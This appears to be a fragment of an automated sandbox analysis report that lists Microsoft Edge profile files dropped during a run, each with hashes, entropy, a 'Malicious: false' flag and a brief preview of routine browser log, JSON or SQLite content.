Preview:	2024/11/25-01:53:35.535 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-01:53:35.548 1e40 Recovering log #3.2024/11/25-01:53:35.548 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1403234022791375
Encrypted:	false
SSDEEP:	6:HAZWoa3+q2PN723oH+Tcwt865IFUt8YAZWoQMHZmw+YAZWoQMnVkwON723oH+Tc4:got+vVaYeb/WFUt87om/+7oiV5OaYebD
MD5:	074C9719BAC715C386F39D0176BF667D
SHA1:	3186968413CC59AAC2BC2C8520B0824BFFA839B2
SHA-256:	4E1030BA4BACCD7AFDA1279A136E30DD90C8A31D049F5B622261E6397F2D644A
SHA-512:	1D3A642A1421B6AA4C0DEE99FDD1AC743DBF37C3CD02E5B4ADB1851B14A5FB506CA7491CAEF829A3853898DC10487BD65BB51FD0C842526EEA14FDBFAC8BCA6B
Malicious:	false
Preview:	2024/11/25-01:53:35.554 1f9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-01:53:35.555 1f9c Recovering log #3.2024/11/25-01:53:35.555 1f9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1403234022791375
Encrypted:	false
SSDEEP:	6:HAZWoa3+q2PN723oH+Tcwt865IFUt8YAZWoQMHZmw+YAZWoQMnVkwON723oH+Tc4:got+vVaYeb/WFUt87om/+7oiV5OaYebD
MD5:	074C9719BAC715C386F39D0176BF667D
SHA1:	3186968413CC59AAC2BC2C8520B0824BFFA839B2
SHA-256:	4E1030BA4BACCD7AFDA1279A136E30DD90C8A31D049F5B622261E6397F2D644A
SHA-512:	1D3A642A1421B6AA4C0DEE99FDD1AC743DBF37C3CD02E5B4ADB1851B14A5FB506CA7491CAEF829A3853898DC10487BD65BB51FD0C842526EEA14FDBFAC8BCA6B
Malicious:	false
Preview:	2024/11/25-01:53:35.554 1f9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-01:53:35.555 1f9c Recovering log #3.2024/11/25-01:53:35.555 1f9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.183079425938034
Encrypted:	false
SSDEEP:	6:HAZWAU+q2PN723oH+Tcwt8NIFUt8YAZWiZmw+YAZW+VkwON723oH+Tcwt8+eLJ:gokvVaYebpFUt87oi/+7oO5OaYebqJ
MD5:	013EACD4A72DA281DD7BDCF70CD7D868
SHA1:	664510AD86A2EAC605681E96D6FE711B9D58EF17
SHA-256:	8DAD36FF4A72D3DADD4F316E424438B77BF5A55EC8D67B2AF9134154D2088536
SHA-512:	ABC8824C8D9DBBEF7B08CEA82205504AE08D7FD3D421D7756168136ACDF9E75670A64089B120D73133B16D45E486946AFF506A5BD6043456C68F9813285FB92F
Malicious:	false
Preview:	2024/11/25-01:53:36.260 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-01:53:36.261 1f98 Recovering log #3.2024/11/25-01:53:36.261 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.183079425938034
Encrypted:	false
SSDEEP:	6:HAZWAU+q2PN723oH+Tcwt8NIFUt8YAZWiZmw+YAZW+VkwON723oH+Tcwt8+eLJ:gokvVaYebpFUt87oi/+7oO5OaYebqJ
MD5:	013EACD4A72DA281DD7BDCF70CD7D868
SHA1:	664510AD86A2EAC605681E96D6FE711B9D58EF17
SHA-256:	8DAD36FF4A72D3DADD4F316E424438B77BF5A55EC8D67B2AF9134154D2088536
SHA-512:	ABC8824C8D9DBBEF7B08CEA82205504AE08D7FD3D421D7756168136ACDF9E75670A64089B120D73133B16D45E486946AFF506A5BD6043456C68F9813285FB92F
Malicious:	false
Preview:	2024/11/25-01:53:36.260 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-01:53:36.261 1f98 Recovering log #3.2024/11/25-01:53:36.261 1f98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:pxl9tFlljq7A/mhWJFuQ3yy7IOWUbl9otdweytllrE9SFcTp4AGbNCV9RUIC:pxlG75fO5v4d0Xi99pEYA
MD5:	F4A44D5FA1781D3F7FC4D48343C1CD7D
SHA1:	D4AFADD814BDC9B9F17F2199C15AFC8E95220259
SHA-256:	A1FE490CB7F697198DF89DF2611396ADA20E21E0D19AB9DA16FC49D503C1BB4C
SHA-512:	3FC8D4C256C50DC2D27723CCB075048342D79E06DC8935B3CAE65A546644610AA92A69A4B18B20B5854C2CE4BB4611E21F75634DE50D9BC0B2BA862194A1BAAC
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.64777736233537
Encrypted:	false
SSDEEP:	384:aj9P0DQkQerkjlicdP/KbtPgam6IeRKToaA0773pL8hf:adUe2mlldP/VORKc47K9
MD5:	D060F5231F5FA44147AC319D9992C673
SHA1:	143BBF2D2065ED46465F27971DA2539836622029
SHA-256:	B90340EBB23719FA19F39FAF8F1EFFFD9198B4CBB91377ABA4B5F70C3BBCAF23
SHA-512:	5B028BAAA3D59AD83967A011D427697AAEF4FDD816930012F4C56FDB5D9BABF845119B9ACA372606191312796C1EEE84C20FB41FFD2D8165EFEEE4F1C6CB39F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.269153793462139
Encrypted:	false
SSDEEP:	12:goV9+vVaYeb8rcHEZrELFUt87oVJ/+7oxx9V5OaYeb8rcHEZrEZSJ:7VKVaYeb8nZrExg8cVxxxVOaYeb8nZrt
MD5:	C3036413F3E807C77F20A9EB424482E5
SHA1:	E488769B842B9500565AC7F317322F965B4BA197
SHA-256:	045C277E9EBF1437AFFCEED90C9F2AF22F0CD51715E2AAE2D936DB1CD7FA22B9
SHA-512:	A05B1C9759A42648A16DAF088EC3FE80B47BB1889E018A8E98E72A627CD63FA8A3DA7EFD3ACAB29085D53CC5ECD630458E04695D32283231823F4118EE3A9311
Malicious:	false
Preview:	2024/11/25-01:53:39.469 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-01:53:39.469 1d0c Recovering log #3.2024/11/25-01:53:39.470 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.269153793462139
Encrypted:	false
SSDEEP:	12:goV9+vVaYeb8rcHEZrELFUt87oVJ/+7oxx9V5OaYeb8rcHEZrEZSJ:7VKVaYeb8nZrExg8cVxxxVOaYeb8nZrt
MD5:	C3036413F3E807C77F20A9EB424482E5
SHA1:	E488769B842B9500565AC7F317322F965B4BA197
SHA-256:	045C277E9EBF1437AFFCEED90C9F2AF22F0CD51715E2AAE2D936DB1CD7FA22B9
SHA-512:	A05B1C9759A42648A16DAF088EC3FE80B47BB1889E018A8E98E72A627CD63FA8A3DA7EFD3ACAB29085D53CC5ECD630458E04695D32283231823F4118EE3A9311
Malicious:	false
Preview:	2024/11/25-01:53:39.469 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-01:53:39.469 1d0c Recovering log #3.2024/11/25-01:53:39.470 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.67203977453415
Encrypted:	false
SSDEEP:	24:pZWPlfTvXe7xExs0XZ/W2sFV03y1x4/hvMyx9WmUlHAkTN5zgFHHmi28/V:pZyLvu74XZe2iV03Sx4/h0yx9DQ+HH33
MD5:	7FEA3F18A928EBF26EAFFBBD74EDFF21
SHA1:	4F3627AF292D1BD6178DD57EF085CF06DA189C0D
SHA-256:	B537184FE87FA4194CF18D44F00BE6E13F429D94E942B5D8ED522DB054D5A25A
SHA-512:	5F5319E9B8A7A8355612BC473BEC2596B0AAA61350964D589B9EC3DC4A10CFC0A2098122C8C435DA05A51735D25C3C6368DC97E3BD212216E346C1AC58846128
Malicious:	false
Preview:	..B..................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732517630394.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732517631493.._https://ntp.msn.com..MUID!.2DA1B1BEC00C601118A0A4FCC1806184.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732517630478,"schedule":[-1,-1,-1,25,36,-1,30],"scheduleFixed":[-1,-1,-1,25,36,-1,30],"simpleSchedule":[10,16,40,46,38,25,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732517630347.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 25 2024 01:53:49 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154545909585108
Encrypted:	false
SSDEEP:	6:HAZWALVq2PN723oH+Tcwt8a2jMGIFUt8YAZWtSSgZmw+YAZWpuEIkwON723oH+Tg:goWVvVaYeb8EFUt87oUSg/+7ojI5OaYL
MD5:	5B69F9387839FEAEFA490C206FC04DD6
SHA1:	C9C0CB66DF12A5F4897BBDF78E03F7FFEBFE5883
SHA-256:	CDF6014E2B9B9E6A4D2FC293FBEC98F4BC937A8D668EDBD7E4DE018BB861DA40
SHA-512:	6E98E10377BBD5A48749FAD2469BBC7E7165B18E8F14ED9FE86FC0B5EB888BD4246BEAAD39D2EB3EA6D9BD0FE3A8F61A1EE7EA6F01FCAEE4968D4B708901E577
Malicious:	false
Preview:	2024/11/25-01:53:35.774 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-01:53:35.780 1f20 Recovering log #3.2024/11/25-01:53:35.784 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.154545909585108
Encrypted:	false
SSDEEP:	6:HAZWALVq2PN723oH+Tcwt8a2jMGIFUt8YAZWtSSgZmw+YAZWpuEIkwON723oH+Tg:goWVvVaYeb8EFUt87oUSg/+7ojI5OaYL
MD5:	5B69F9387839FEAEFA490C206FC04DD6
SHA1:	C9C0CB66DF12A5F4897BBDF78E03F7FFEBFE5883
SHA-256:	CDF6014E2B9B9E6A4D2FC293FBEC98F4BC937A8D668EDBD7E4DE018BB861DA40
SHA-512:	6E98E10377BBD5A48749FAD2469BBC7E7165B18E8F14ED9FE86FC0B5EB888BD4246BEAAD39D2EB3EA6D9BD0FE3A8F61A1EE7EA6F01FCAEE4968D4B708901E577
Malicious:	false
Preview:	2024/11/25-01:53:35.774 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-01:53:35.780 1f20 Recovering log #3.2024/11/25-01:53:35.784 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\08eab6ac-041f-43f5-a394-5b37f5803d77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\46cee37b-e81b-4e27-b959-cbfc8619648e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9dbba385-9cdb-42f3-b342-d457bd19bf4e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.775611303915944
Encrypted:	false
SSDEEP:	192:tT0ifdqDcAMa916VM4JdagyXcf0L/ZJVb:V0UgD/Mm6Vd6XI0LhJVb
MD5:	3BFB5D40B6C62E090991237816B4577A
SHA1:	53B899A7A1D4AA44A7473EB3F7FCEF1D82C1AD59
SHA-256:	4B23C5C3DA62FED1CA466D0F8AE9FE1964C899BE8E9DE49ED7D4BA8FEE97107B
SHA-512:	EBEFA0FABE6A32857CFC786C3D8BBA07E1B69F9E459B4D884AEB5CDF98D4BF1B43822E1B91793A261C5D22CB97EAFC633B6F619372A72C768D5D48493E21EC5C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d369.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.376914874076632
Encrypted:	false
